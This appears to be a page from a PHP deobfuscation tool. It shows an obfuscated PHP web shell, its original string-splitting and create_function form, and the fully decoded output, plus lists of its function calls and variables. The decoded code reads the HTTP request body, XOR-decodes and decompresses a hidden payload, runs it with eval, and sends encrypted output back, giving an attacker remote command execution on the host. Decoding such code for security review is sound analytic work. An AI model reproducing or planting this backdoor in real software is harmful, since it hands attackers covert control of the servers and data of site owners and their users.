Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $V='$k="80eu)u)32263"; $khu)=u)"6f8af44u)abea0"; $kf=u)"35103u)u)9f4a7b5"; $pu)=..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="80e32263"; 
$kh="6f8af44abea0"; 
$kf="351039f4a7b5"; 
$p="0UlYyJHG87EJqEz6"; 
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents(); 
    @ob_end_clean(); 
    $r=@base64_encode(@x(@gzcompress($o),$k)); 
    print("$p$kh$r$kf"); 
}

Did this file decode correctly?

Original Code

<?php
$V='$k="80eu)u)32263";
$khu)=u)"6f8af44u)abea0";
$kf=u)"35103u)u)9f4a7b5";
$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);
function u)x($';

$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';

$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';

    $B='ob_get_cou)ntu)ents();
    @obu)_end_cleu)anu)();
    $r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));
    pru)u)int(u)"$p$kh$r$kf");
}';

    $N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');

    $c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';

        $u=str_replace('u)','',$V.$d.$P.$c.$B);

        $x=$N('',$u);$x();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$B ob_get_cou)ntu)ents(); @obu)_end_cleu)anu)(); $r=@..
$N create_function
$P ++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_..
$V $k="80eu)u)32263"; $khu)=u)"6f8af44u)abea0"; $kf=u)"35103u..
$c "php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)n..
$d u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i..
$k 80e32263
$p 0UlYyJHG87EJqEz6
$u $k="80e32263"; $kh="6f8af44abea0"; $kf="351039f4a7b5"; $p..
$kf 351039f4a7b5
$kh 6f8af44abea0

Stats

MD5 01f29489e4dc82054e2fd7d97b45f8e6
Eval Count 1
Decode Time 92 ms